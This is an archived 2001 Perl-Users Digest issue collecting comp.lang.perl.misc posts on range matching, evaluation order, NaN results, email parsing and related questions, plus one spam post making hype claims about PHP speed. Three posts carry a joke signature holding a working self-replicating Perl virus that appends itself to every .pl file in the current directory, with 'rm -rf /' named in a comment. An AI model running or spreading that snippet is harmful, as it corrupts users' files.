[18612] in Perl-Users-Digest
Perl-Users Digest, Issue: 780 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Apr 27 11:10:31 2001
Date: Fri, 27 Apr 2001 08:10:13 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <988384213-v10-i780@ruby.oce.orst.edu>
Content-Type: text
Perl-Users Digest Fri, 27 Apr 2001 Volume: 10 Number: 780
Today's topics:
Re: match a range of number (Peter J. Acklam)
Re: match a range of number <david.bouman@nl.xo.com>
Re: match a range of number <david.bouman@nl.xo.com>
Re: match a range of number (Anno Siegel)
Re: match a range of number <david.bouman@nl.xo.com>
Re: match a range of number (Anno Siegel)
Re: match a range of number (Greg Bacon)
Re: match a range of number (Tad McClellan)
Re: operators: != vs. ne, strange behaviour (Rudolf Polzer)
Re: operators: != vs. ne, strange behaviour (Rudolf Polzer)
Re: operators: != vs. ne, strange behaviour <ren@tivoli.com>
Parsing an email message from STDIN - Suggestions <seppy@chartermi.net>
Re: Parsing an email message from STDIN - Suggestions (Bernard El-Hagin)
Re: Parsing an email message from STDIN - Suggestions <pne-news-20010427@newton.digitalspace.net>
Perl compete: Java is dead on server side!! PHP is 4 ti <alavoor@yahoo.com>
Re: Problem in Netscape with CGI Headers (David Pardo)
Re: problem with seek <simon.andrews@bbsrc.ac.uk>
Re: problem with seek (Gwyn Judd)
Question on variable substitution <faulbaum@alder.bessy.de>
Re: run by click in linux (Rudolf Polzer)
Re: So what do YOU use Perl for? (Rudolf Polzer)
Re: Sockets, Time-outs, and Alarms (Rudolf Polzer)
Re: Tcl is faster then perl. <andrew@mvt.ie>
Re: Things I'm just not getting in Perl (Anno Siegel)
Re: Things I'm just not getting in Perl (Tad McClellan)
Re: Things I'm just not getting in Perl (Tad McClellan)
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: 27 Apr 2001 13:08:47 +0200
From: jacklam@math.uio.no (Peter J. Acklam)
Subject: Re: match a range of number
Message-Id: <wksniumy0w.fsf@math.uio.no>
"DT" <same@make-it-online.com> writes:
> Can I use a single matching to do:
>
> (($i > 123) && ($i < 456))
abs($i - (123 + 456)/2) < (456 - 123)/2
The two values `(123 + 456)/2' and `(456 - 123)/2' will be
constant folded, so they are are only evaluated at compile time.
Peter
--
#!/local/bin/perl5 -wp -*- mode: cperl; coding: iso-8859-1; -*-
# matlab comment stripper (strips comments from Matlab m-files)
s/^((?:(?:[])}\w.]'+|[^'%])+|'[^'\n]*(?:''[^'\n]*)*')*).*/$1/x;
------------------------------
Date: Fri, 27 Apr 2001 13:33:13 +0200
From: David Bouman <david.bouman@nl.xo.com>
Subject: Re: match a range of number
Message-Id: <3AE958F9.5EE08EBF@nl.xo.com>
Abigail wrote:
> David Bouman (david.bouman@nl.xo.com) wrote on MMDCCXCV September
> MCMXCIII in <URL:news:3AE848EC.7448FD99@nl.xo.com>:
> -- ...
> -- I fail to see how it will ever end. What turn did I miss?
>
> The smiley in my original post.
... So I did. Mea Culpa.
------------------------------
Date: Fri, 27 Apr 2001 13:36:52 +0200
From: David Bouman <david.bouman@nl.xo.com>
Subject: Re: match a range of number
Message-Id: <3AE959D4.F06595F1@nl.xo.com>
Craig Berry wrote:
> David Bouman (david.bouman@nl.xo.com) wrote:
> :
> : sub strictly_sorted {
> : shift() < $_[0] && ( @_==1 || &strictly_sorted );
> : }
>
> Nice, but dies on lists of length 0 or 1.
:) I know. But as the original intention was to simulate expressions like
a < b < ... I figured you need at least 2 anyway. (And it saved one call)
> Amended:
>
> sub strictly_sorted {
> @_ < 2 || (shift() < $_[0] && &strictly_sorted);
> }
>
> One question about order of evaluation: Is the shift() on the lhs of <
> guaranteed to be evaluated before the $_[0] on the rhs, and if so, why?
> (It was doubt about this that kept me away from this solution earlier in
> the discussion.)
As was noted elsewhere it's not. I had the same doubt, but allowed a test
to convince me. Here's one simple fix (and a change):
sub strictly_sorted {
@_ < 2 || shift() - $_[0] < 0 && goto &strictly_sorted;
}
--
David Bouman
------------------------------
Date: 27 Apr 2001 12:43:21 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9cbph9$sdp$1@mamenchi.zrz.TU-Berlin.DE>
According to David Bouman <david.bouman@nl.xo.com>:
> Craig Berry wrote:
> > David Bouman (david.bouman@nl.xo.com) wrote:
> > :
> > : sub strictly_sorted {
> > : shift() < $_[0] && ( @_==1 || &strictly_sorted );
> > : }
> >
> > Nice, but dies on lists of length 0 or 1.
>
> :) I know. But as the original intention was to simulate expressions like
> a < b < ... I figured you need at least 2 anyway. (And it saved one call)
>
> > Amended:
> >
> > sub strictly_sorted {
> > @_ < 2 || (shift() < $_[0] && &strictly_sorted);
> > }
> >
> > One question about order of evaluation: Is the shift() on the lhs of <
> > guaranteed to be evaluated before the $_[0] on the rhs, and if so, why?
> > (It was doubt about this that kept me away from this solution earlier in
> > the discussion.)
>
> As was noted elsewhere it's not. I had the same doubt, but allowed a test
> to convince me. Here's one simple fix (and a change):
>
> sub strictly_sorted {
> @_ < 2 || shift() - $_[0] < 0 && goto &strictly_sorted;
> }
How does that fix anything? shift() and $_[0] are now operands of "-"
instead of "<". Neither operator has a specified order of evaluation.
Anno
------------------------------
Date: Fri, 27 Apr 2001 15:22:15 +0200
From: David Bouman <david.bouman@nl.xo.com>
Subject: Re: match a range of number
Message-Id: <3AE97287.1781D3D1@nl.xo.com>
Anno Siegel wrote:
> > As was noted elsewhere it's not. I had the same doubt, but allowed a test
> > to convince me. Here's one simple fix (and a change):
> >
> > sub strictly_sorted {
> > @_ < 2 || shift() - $_[0] < 0 && goto &strictly_sorted;
> > }
>
> How does that fix anything? shift() and $_[0] are now operands of "-"
> instead of "<". Neither operator has a specified order of evaluation.
Substraction has, at least according to Johan Vromans' Quick Reference quide.
--
David Bouman
------------------------------
Date: 27 Apr 2001 13:39:29 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: match a range of number
Message-Id: <9cbsqh$1h7$3@mamenchi.zrz.TU-Berlin.DE>
According to David Bouman <david.bouman@nl.xo.com>:
> Anno Siegel wrote:
>
> > > As was noted elsewhere it's not. I had the same doubt, but allowed a test
> > > to convince me. Here's one simple fix (and a change):
> > >
> > > sub strictly_sorted {
> > > @_ < 2 || shift() - $_[0] < 0 && goto &strictly_sorted;
> > > }
> >
> > How does that fix anything? shift() and $_[0] are now operands of "-"
> > instead of "<". Neither operator has a specified order of evaluation.
>
> Substraction has, at least according to Johan Vromans' Quick Reference quide.
Could you please post the quote from Vroman? I don't find anything
in perlop to confirm the claim. Have you, by any means, taken "left
associativity" to mean the left operand is evaluated first?
Anno
------------------------------
Date: Fri, 27 Apr 2001 14:07:52 -0000
From: gbacon@HiWAAY.net (Greg Bacon)
Subject: Re: match a range of number
Message-Id: <teiv9orcov3k77@corp.supernews.com>
In article <slrn9eg20u.qli.abigail@tsathoggua.rlyeh.net>,
Abigail <abigail@foad.org> wrote:
: We were talking how a mathematician would do it. Certainly smart math
: people won't limit themselves to evaluate an expression in just one way!
: They'll pick the right path.
May I borrow your non-deterministic Turing machine when you're done
cracking all my encrypted messages? :-)
Greg
--
I had been waiting on the phone for you guys for three days! So I finally
decided to heck with it and did what the instructions said.
-- From "Computer Stupidities"
------------------------------
Date: Fri, 27 Apr 2001 08:46:55 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: match a range of number
Message-Id: <slrn9eiqhv.3ts.tadmc@tadmc26.august.net>
David Bouman <david.bouman@nl.xo.com> wrote:
>Anno Siegel wrote:
>
>> > As was noted elsewhere it's not. I had the same doubt, but allowed a test
>> > to convince me. Here's one simple fix (and a change):
>> >
>> > sub strictly_sorted {
>> > @_ < 2 || shift() - $_[0] < 0 && goto &strictly_sorted;
>> > }
>>
>> How does that fix anything? shift() and $_[0] are now operands of "-"
>> instead of "<". Neither operator has a specified order of evaluation.
>
>Substraction has, at least according to Johan Vromans' Quick Reference quide.
Don't keep us in suspense.
Where is it that it says that? (which edition?)
I can't find where it says what you say it says. Please show me.
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Thu, 26 Apr 2001 22:37:24 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <slrn9eh1o4.a0p.eins@www42.t-offline.de>
Ren Maddox <ren@tivoli.com> wrote:
> On Thu, 26 Apr 2001, eins@durchnull.de wrote:
>
> > And, since there was no answer, what does
> >
> > print ((-1) ** 0.5);
> >
> > do on your computer? Do you get some illegal value? -2147483648? 0?
> > an error?
>
> FWIW, on v5.6.0 built for MSWin32-x86-multi-thread, (ActiveState), I
> do get -2147483648.
>
> Of course, it's still just the underlying library call that is
> responsible for such results.
And what happens on
my $x = -1;
print $x ** 0.5;
My ActivePerl version displays a value of -1.#IND that behaves just
like NAN, but is equal to itself (like INF).
Why is there a difference?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Thu, 26 Apr 2001 22:39:27 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <slrn9eh1rv.a0p.eins@www42.t-offline.de>
brian d foy <comdog@panix.com> wrote:
> In article <slrn9egilh.fu0.eins@www42.t-offline.de>, eins@durchnull.de
> wrote:
>
> > > perhaps you should see earlier posts, and also identify the operating
> > > system and version of Perl that you use if you post again. it would
> > > be even better for you to try your claims on a variety of platforms.
> >
> > Hereby done. I use Linux (SuSE 7.1) and the included perl.
> >
> > perl -V displays:
> >
> > Summary of my perl5 (revision 5.0 version 6 subversion 0) configuration:
> > Platform:
> > osname=linux, osvers=2.4.0, archname=i586-linux
>
> > And, since there was no answer, what does
> >
> > print ((-1) ** 0.5);
> >
> > do on your computer? Do you get some illegal value? -2147483648? 0? an
> > error?
>
>
> there was an answer. read backwards in the thread. since *BSD doesn't
> think NaN is anything special if treats it as any other string. the
> documented Perl string to number conversion occurs.
I think you do not see my point. There is no string to number
conversion about (-1) ** 0.5 or ($x = -1, $x ** 0.5). You already
answered to the 0 + 'NAN' part, but I wanted to know if on your system
(-1) ** 0.5 and/or ($x = -1, $x ** 0.5) are special / different. On
ActivePerl 5.6.0 they are.
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: 27 Apr 2001 08:57:17 -0500
From: Ren Maddox <ren@tivoli.com>
Subject: Re: operators: != vs. ne, strange behaviour
Message-Id: <m38zkmtphe.fsf@dhcp9-172.support.tivoli.com>
On Thu, 26 Apr 2001, eins@durchnull.de wrote:
> Ren Maddox <ren@tivoli.com> wrote:
>>
>> FWIW, on v5.6.0 built for MSWin32-x86-multi-thread, (ActiveState),
>> I do get -2147483648.
>
> And what happens on
>
> my $x = -1;
> print $x ** 0.5;
>
> My ActivePerl version displays a value of -1.#IND that behaves just
> like NAN, but is equal to itself (like INF).
Yes, mine does as well.
> Why is there a difference?
Good question.
--
Ren Maddox
ren@tivoli.com
------------------------------
Date: Fri, 27 Apr 2001 08:04:47 -0400
From: Brian Seppanen <seppy@chartermi.net>
Subject: Parsing an email message from STDIN - Suggestions
Message-Id: <3AE9605F.D915DB8@chartermi.net>
I'm working on a perl 5.6.0 script that will take email headers and
body, and at this point all I'm trying to do is grab the from, the date,
and subject.
while (<STDIN>) {
my ($from,$originator)=split(/From:/);
my ($date,$recievetime)=split(/Date:/);
my ($subject,$command)=split(/Subject:/);
open (DEBUG,">debug.log") || die "Can't Open File: $!\n";
print DEBUG "From:\t$originator\n";
print DEBUG "Time:\t$recievetime\n";
print DEBUG "Command:\t$command\n";
close DEBUG;
}
This is currently how I try to do it, but it isn't working, and I'm sure
there is a much better way to do it. I get the following errors
currently.
Use of uninitialized value in concatenation (.) at script.pl line 16,
<STDIN> line 1.
Use of uninitialized value in concatenation (.) at script.pl line 17,
<STDIN> line 1.
Procmail is piping the email to the perl script as so, which is why it
is coming from STDIN.
:0bhc:/my/home/.procmail/lock
| script.pl
As is probably obvious I'm not a very experienced perl coder. I'd
appreciate any assistance.
Brian Seppanen
seppy@chartermi.net
------------------------------
Date: Fri, 27 Apr 2001 12:40:55 +0000 (UTC)
From: bernard.el-hagin@lido-tech.net (Bernard El-Hagin)
Subject: Re: Parsing an email message from STDIN - Suggestions
Message-Id: <slrn9eiprg.2bv.bernard.el-hagin@gdndev25.lido-tech>
On Fri, 27 Apr 2001 08:04:47 -0400, Brian Seppanen <seppy@chartermi.net> wrote:
>I'm working on a perl 5.6.0 script that will take email headers and
>body, and at this point all I'm trying to do is grab the from, the date,
>and subject.
>
>while (<STDIN>) {
>my ($from,$originator)=split(/From:/);
>my ($date,$recievetime)=split(/Date:/);
>my ($subject,$command)=split(/Subject:/);
What if someone has the following subject:
Subject: What does "Subject:" in an e-mail header mean?
>open (DEBUG,">debug.log") || die "Can't Open File: $!\n";
>print DEBUG "From:\t$originator\n";
>print DEBUG "Time:\t$recievetime\n";
>print DEBUG "Command:\t$command\n";
>close DEBUG;
>}
Do yourself a favour and use one of the Mail::* modules for this.
Look for them on CPAN.
>This is currently how I try to do it, but it isn't working, and I'm sure
>there is a much better way to do it. I get the following errors
>currently.
>
>Use of uninitialized value in concatenation (.) at script.pl line 16,
><STDIN> line 1.
>Use of uninitialized value in concatenation (.) at script.pl line 17,
><STDIN> line 1.
The snippet you've quoted only has 10 lines. So where are the lines with
the errors?
>Procmail is piping the email to the perl script as so, which is why it
>is coming from STDIN.
>:0bhc:/my/home/.procmail/lock
>| script.pl
Procmail rulez.
Cheers,
Bernard
--
perl -e's;;s,,Just another Perl hacker,;and$\="\r"and
$$=q!print${"\x27"}!;$;=qq.$0..q.v..qq!al $$!;$;=~s-\---;
/^....*(?{$|=eval$;;select($Just,$another,$Perlhacker,0.1)}).{25}/x;'
------------------------------
Date: Fri, 27 Apr 2001 15:00:13 +0200
From: Philip Newton <pne-news-20010427@newton.digitalspace.net>
Subject: Re: Parsing an email message from STDIN - Suggestions
Message-Id: <d9rietslra5b54h8e22qtneu3kpkibluib@4ax.com>
On Fri, 27 Apr 2001 08:04:47 -0400, Brian Seppanen
<seppy@chartermi.net> wrote:
> I'm working on a perl 5.6.0 script that will take email headers and
> body, and at this point all I'm trying to do is grab the from, the date,
> and subject.
You could have a look at Mail::Audit from CPAN, which can pick apart
messages (using Mail::Internet, I believe) and then do stuff such as
forward them, append to a mailbox file, or whatever.
Cheers,
Philip
--
Philip Newton <nospam.newton@gmx.li>
Yes, that really is my address; no need to remove anything to reply.
If you're not part of the solution, you're part of the precipitate.
------------------------------
Date: Fri, 27 Apr 2001 14:59:11 GMT
From: Al Dev <alavoor@yahoo.com>
Subject: Perl compete: Java is dead on server side!! PHP is 4 times faster than JSP,CF,ASP!!
Message-Id: <3AE989C9.15E45560@yahoo.com>
Perl competetion: Java is dead on server side!! PHP is 4 times faster
than JSP,CF,ASP!!
PHP is born from "Perl + Java" and is the fastest growing language in
the world!!
PHP is object oriented. Analogy is perl is "C" and PHP is "C++" !!
PHP is the fastest web-scripting language and is 4 times faster than
JSP(Java
Server Pages). PHP is becoming new "Java language", it is getting all
the Java
keywords like class, extends, implements, interface, inner classes etc..
What is the purpose of java on server side programming if PHP is
java-like
and is 4 times faster???
The benchmark says PHP is faster than ASP and ASP faster than
ColdFusion..
The order is : PHP > ASP > CF > JSP
The JSP is the worst!! It is the slowest of all technology!!
Read the benchmarks in "PHP howto" given at
http://aldev.8m.com
and due to heavy traffic go to mirror sites at
http://aldev.webjump.com
http://www.angelfire.com/nv/aldev
http://www.geocities.com/alavoor/index.html
http://aldev.virtualave.net
http://aldev.bizland.com
http://members.theglobe.com/aldev/index.html
http://members.nbci.com/alavoor
http://aldev.terrashare.com
http://members.fortunecity.com/aldev
http://aldev.freewebsites.com
http://members.tripod.lycos.com/aldev
http://members.spree.com/technology/aldev
http://www3.bcity.com/aldev
Go to one of these sites and click on PHP howto.
------------------------------
Date: Fri, 27 Apr 2001 12:39:51 GMT
From: ros@elcalamar.com (David Pardo)
Subject: Re: Problem in Netscape with CGI Headers
Message-Id: <3ae96831.7855185@news.mundo-r.com>
Sorry. I stripped out the script before sending. Didn'twant to bother
:)
The script is(n't perfectly) workin as follows
#!/usr/bin/perl
use CGI;
open (PLANTILLA,"/home/sites/site24/web/pl/form.html");
@plantilla=<PLANTILLA>;
close (PLANTILLA);
$contenido=join(" ",@plantilla);
$q=new CGI;
print $q->header();
$q->start_html(-title=>'FlatfileDB'),
$contenido,
$q->end_html();
$nombre=$q->param('nombre');
$categoria=$q->param('categoria');
$accion=$q->param('accion');
$nombre=~s/\W//gi;
$nombre=~tr/A-Z/a-z/;
if($nombre){
$archivo=">/home/sites/site24/web/data/$nombre.a";
open (ARCHIVO,$archivo);
$q->save(ARCHIVO);
close (ARCHIVO);
}
------------------------------
Date: Fri, 27 Apr 2001 12:22:27 +0100
From: Simon Andrews <simon.andrews@bbsrc.ac.uk>
Subject: Re: problem with seek
Message-Id: <3AE95673.8C1DF005@bbsrc.ac.uk>
"P.Eftevik" wrote:
>
> I want to position the file pointer to the previous line of a file,
> using seek:
> example:
>
> print $_ ;
> seek ( FILE, -1, 1); ## should move pointer one line backwards
Nope. Moves pointer back one *byte*.
Using length($_) as the offset will move you back to the start of the
current line. If you want to move back to the start of the previous line
then you'll have to know how long that was too (there may be a better
way to do this - which I'm sure someone else will provide...).
Simon.
------------------------------
Date: Fri, 27 Apr 2001 13:11:08 GMT
From: tjla@guvfybir.qlaqaf.bet (Gwyn Judd)
Subject: Re: problem with seek
Message-Id: <slrn9eirv9.vpn.tjla@thislove.dyndns.org>
"mein Luftkissenfahrzeug ist voll von den Aalen"
said Simon Andrews (simon.andrews@bbsrc.ac.uk) in
<3AE95673.8C1DF005@bbsrc.ac.uk>:
>"P.Eftevik" wrote:
>>
>> I want to position the file pointer to the previous line of a file,
>> using seek:
>> example:
>>
>> print $_ ;
>> seek ( FILE, -1, 1); ## should move pointer one line backwards
>
>Nope. Moves pointer back one *byte*.
Not only that, it doesn't even affect whatever is in $_ anyway. The OP
might want to look at File::ReadBackwards.
--
Gwyn Judd (print `echo 'tjla@guvfybir.qlaqaf.bet' | rot13`)
Good teaching is one-fourth preparation and three-fourths good theatre.
-Gail Godwin
------------------------------
Date: 27 Apr 2001 16:50:45 +0200
From: Dieter Faulbaum <faulbaum@alder.bessy.de>
Subject: Question on variable substitution
Message-Id: <vsae52iegq.fsf@alder.bessy.de>
this is an excerpt from a perl file, which doesn't do what I want.
Can anyone tell me how to do it in the right way?
sub update(@_);
my $From = "(^#\s*)(rstatd)";
my To = "$2";
update($From, $To);
sub update(@_)
{
my ($From, $To) = @_;
while (<>)
{
($_ = $_) =~ s/$From/$To/;
}
}
--
\____ __
Dieter Faulbaum o/ \
<\__,\
------------------------------
Date: Fri, 27 Apr 2001 16:49:22 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: run by click in linux
Message-Id: <slrn9ej1ni.7b6.eins@www42.t-offline.de>
Abigail <abigail@foad.org> wrote:
> # include <unistd.h>
> int main (int argc, char * argv []) {
> execvp ("/path/to/program", argv);
> exit (1);
> }
> Compile it, and then go to comp.lang.c and ask:
> How can I run one C program by click the icon in Linux.
That's a good one <g>
Answer from comp.lang.c:
Use this pascal program:
uses dos;
begin
exec ('/path/program');
end.
and ask the same in comp.lang.pascal.misc.
The pascal guys will refer you to bash, and they will refer you to
perl.
SCNR
--
#!/usr/bin/perl -W -- WARNING: This will print 22,307 bytes! <strictsafe!>
use strict;for(my$y=-1;$y<1;$y+=.1){for(my$x=-1.9;$x<.4;$x+=.03){print'+';
my$X=my$Y=0;for(0..99){($X,$Y)=($X*$X-$Y*$Y+$x,2*$X*$Y+$y);print"\b "if$X*
$X+$Y*$Y>9;}}print"\n"};print''.reverse"\nHPAJ \a!rezloP .R yb torblednaM"
------------------------------
Date: Fri, 27 Apr 2001 16:51:06 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: So what do YOU use Perl for?
Message-Id: <slrn9ej1qq.7b6.eins@www42.t-offline.de>
E.Chang <echang@netstorm.net> wrote:
> gbacon@HiWAAY.net (Greg Bacon) wrote in
> <tedo83kg616877@corp.supernews.com>:
>
> > In article <Xns908AD0E0378F1echangnetstormnet@207.106.92.86>,
> > E.Chang <echang@netstorm.net> wrote:
> >
> > : [...] (Oh, and a hint: .html is preferred over .htm as an extension
> > : for web documents - unless you're running your server on a Windows 3.x
> > : machine)
> >
> > Think again. There's no necessary mapping between URIs and filenames.
> > ObPerl: with Apache and mod_perl, it's trivial to create all sorts of
> > cool mappings. grep /Lincoln Stein/, @WWW;
>
> Didn't mean to suggest that there was - just trying to give a hint about
> "rename 's/htm$/html/' *.htm" was doing without being too explicit.
Does not work - the html files have to be changed using
s/\.htm"/\.html"/g, too.
--
#!/usr/bin/perl -W -- WARNING: This will print 22,307 bytes! <strictsafe!>
use strict;for(my$y=-1;$y<1;$y+=.1){for(my$x=-1.9;$x<.4;$x+=.03){print'+';
my$X=my$Y=0;for(0..99){($X,$Y)=($X*$X-$Y*$Y+$x,2*$X*$Y+$y);print"\b "if$X*
$X+$Y*$Y>9;}}print"\n"};print''.reverse"\nHPAJ \a!rezloP .R yb torblednaM"
------------------------------
Date: Thu, 26 Apr 2001 22:41:55 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Sockets, Time-outs, and Alarms
Message-Id: <slrn9eh20j.a0p.eins@www42.t-offline.de>
nobull@mail.com <nobull@mail.com> wrote:
> eins@durchnull.de (Rudolf Polzer) writes:
>
> > nobull@mail.com <nobull@mail.com> wrote:
> > > Anyhow I can't recall for sure but I think ignored signals don't
> > > interrupt system calls.
> >
> > Sorry for this stupid question but is it possible in C to ignore
> > signals without using a procedure that does nothing?
>
> Yes, see the sigaction(2) and/or signal(2) man page.
>
> > $SIG{USR1} = "IGNORE";
>
> This tells the OS not to pass SIGUSR1 into userspace but to ignore
> it.
So the OS and not the program supports ignoring. Is there any
relevant difference about this (perhaps about file handles etc.)
except that you could catch the pseudo-ignored signal in a debugger
using a breakpoint in that procedure?
--
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
------------------------------
Date: Fri, 27 Apr 2001 12:20:12 +0100
From: "Andrew" <andrew@mvt.ie>
Subject: Re: Tcl is faster then perl.
Message-Id: <9cbkkr$5ls$1@kermit.esat.net>
"Logan Shaw" <logan@cs.utexas.edu> wrote in message
news:9c7sij$du8$1@charity.cs.utexas.edu...
> In article <yJJF6.12$T3.170609152@news.frii.net>,
> Chris Fedde <cfedde@fedde.littleton.co.us> wrote:
> >because the person writing the program knew more or less about one
> >or the other programming languages and chose some sub-optomal or
> >super-optomal way of implementing the task.
>
> I keep reading that over and over again, and I can't make any sense out
> of the idea of "super-optimal".
>
> - Logan
one which violates the second law of Thermodynamics?
- Andrew
------------------------------
Date: 27 Apr 2001 13:16:03 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Things I'm just not getting in Perl
Message-Id: <9cbrej$1h7$2@mamenchi.zrz.TU-Berlin.DE>
According to Andrew Lee <andrew_lee@nospamearthlink.net>:
> Abigail wrote:
>
> SNIP ....
>
> > This is certainly not always the case. index(), the boolean function [1]
> > that returns true if one string doesn't start with the other does not
> > always return 1 for "true".
>
> Read your history, C returns an error state (0 is no error).
What has C's convention of returning an error state to do with anything?
> Did you never hear
> the joke about the fall of the Roman Empire?
>
> >
> > Hell, not even '||' returns 1 for "true".
>
> '||' is a binary operator ... it takes two arguments ... e.g. True OR true is
> true .... write a program and see for yourself.
Abigail knows how "||" works. She also knows when it is necessary to
use a test. "||" does not return 1 for true (except when it does).
> > [1] boolean function? In *Perl*?!? There are no flippin' booleans in Perl.
> > It just inherits the moronic behaviour of C. Real languages have boolean.
>
> Wrong.
Just answering "wrong" to a statement of opinion isn't going to convince
anyone...
> Languages (human and others) can do what they want. It is perfectly acceptable
> (by definition) to define "yes", "no" -- "true", "false" as logical inverses of
> each other (resp.). The issue is whether the syntax matches the
> semantics. C is
> hardly moronic. It follows a perfectly logical pattern (for anyone who as ever
> used it).
...even if you offer another opinion. No-one said that languages without
a boolean type don't work, or that the are illogical. You'd have to
offer an argument why your preferred solution is superior.
> So ... please define a "real" language ...
She did, for the purpose of this discussion. As far as Abigail is
concerned, a necessary condition for a "real language" is that it
have a boolean type.
Anno
PS: Please trim your line length
------------------------------
Date: Fri, 27 Apr 2001 08:36:43 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Things I'm just not getting in Perl
Message-Id: <slrn9eipur.3q7.tadmc@tadmc26.august.net>
Andrew Lee <andrew_lee@nospamearthlink.net> wrote:
>Abigail wrote:
>> Hell, not even '||' returns 1 for "true".
^^^^^^^^^
>'||' is a binary operator ... it takes two arguments ... e.g. True OR true is
>true
Abigail is talking about a true value of "1". You are talking
about any of the true values.
>.... write a program and see for yourself.
---------------------------
#!/usr/bin/perl -w
use strict;
$_ = 'foo' || 'bar';
print "$_\n" if $_;
---------------------------
Hell, not even '||' returns 1 for "true".
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: Fri, 27 Apr 2001 09:13:50 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Things I'm just not getting in Perl
Message-Id: <slrn9eis4e.3ts.tadmc@tadmc26.august.net>
Anno Siegel <anno4000@lublin.zrz.tu-berlin.de> wrote:
>According to Andrew Lee <andrew_lee@nospamearthlink.net>:
>> Abigail wrote:
>> > [1] boolean function? In *Perl*?!? There are no flippin' booleans in Perl.
>> > It just inherits the moronic behaviour of C. Real languages have boolean.
>>
>> Wrong.
>Just answering "wrong" to a statement of opinion isn't going to convince
^
^
>anyone...
In the paragraph preceding the "Wrong" I see *three* statements.
I wonder which the "Wrong" is meant to apply to...
*What* is wrong:
There *are* flippin' booleans in Perl?
It does *not* inherit the moronic behaviour of C?
The behaviour of C is *not* moronic?
Real languages do *not* have boolean?
--
Tad McClellan SGML consulting
tadmc@augustmail.com Perl programming
Fort Worth, Texas
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 780
**************************************